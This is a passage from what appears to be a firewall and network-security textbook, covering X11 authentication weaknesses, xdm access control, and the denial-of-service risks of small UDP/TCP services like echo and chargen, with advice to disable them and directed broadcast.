A second mechanism uses a so-called *magic cookie*. Both the application and the server share a secret byte string; processes without this string cannot connect to the server. But getting the string to the server in a secure fashion is difficult. One cannot simply copy it over a possibly monitored network cable, or use NFS to retrieve it. Furthermore, a network eavesdropper could snarf the magic cookie whenever it was used.

A third X11 security mechanism uses a cryptographic challenge/response scheme. This could be quite secure; however, it suffers from the same key distribution problem as does magic cookie authentication. A Kerberos variant exists, but of course it's only useful if you run Kerberos. And there's still the issue of connection-hijacking.

The best way to use X11 these days is to confine it to local access on a workstation, or to tunnel it using *ssh* or IPsec. When you use *ssh*, it does set up a TCP socket that it forwards to X11, but the socket is bound to 127.0.0.1, with magic cookie authentication using a local, randomly generated key on top of that. That should be safe enough.

3.11.1 xdm

How does the X server (the local terminal, remember) tell remote clients to use it? In particular, how do X terminals log you in to a host? An X terminal generates an *X Display Manager Control Protocol (XDMCP)* message and either broadcasts it or directs it to a specific host. These queries are handled by the *xdm* program, which can initiate an *xlogin* screen or offer a menu of other hosts that may serve the X host.

Generally, *Xdm* itself runs as *root*, and has had some security problems in the past (e.g., CERT Vendor-Initiated Bulletin VB-95:08). Current versions are better, but access to the *xdm* service should be limited to hosts that need it. There are configuration files that tell *xdm* whom to serve, but they only work if you use them. Both *xauth* and *xhost* should be used to restrict access to the X server.

3.12 The Small Services

The small services are *chargen*, *daytime*, *discard*, *echo*, and *time*. These services are generally used for maintenance work, and are quite simple to implement. In UNIX systems, they are usually processed internally by *inetd*.

Because they are simple, these services have been generally believed to be safe to run: They are probably too small to have the security bugs common in larger services. Because they are believed to be safe, they are often left turned on in hosts and even routers. We do not know of any security problems that have been found in the implementation of these services, but the services themselves do provide opportunities for abuse via denial-of-service attacks. They can be used to generate heavy network traffic, especially when stimulated with directed-broadcast packets. These services have been used as alternative packet sources for smurf-style attacks. See Section 5.8.

Generally, both UDP and TCP versions of these services are available. Any TCP service can leak information to outsiders about its TCP sequence number state. This information is necessary

for IP spoofing attacks, and a small TCP service is unaudited and ignored, so experiments are easy to perform.

UDP versions of small services are fine sources for broadcast and packet storms. For example, the *echo* service returns a packet to the sender. Locate two *echo* servers on a net, and send a packet to one with a spoofed return address of the other. They will echo that packet between them, often for days, until something kills the packet. Several UDP services will behave this way, including DNS and `chargen`.

Some implementations won't echo packets to their own port number on another host, though many will. BSD/OS's services had a long list of common UDP ports they won't respond to. This helps, but we prefer to turn the services off entirely and get out of the game. You never know when another exploitable port will show up.

The storms get much worse if broadcast addresses are used. You should not only disable the services, you should also disable directed broadcast on your routers. (This is the default setting on newer routers, but you should check, just to be sure.)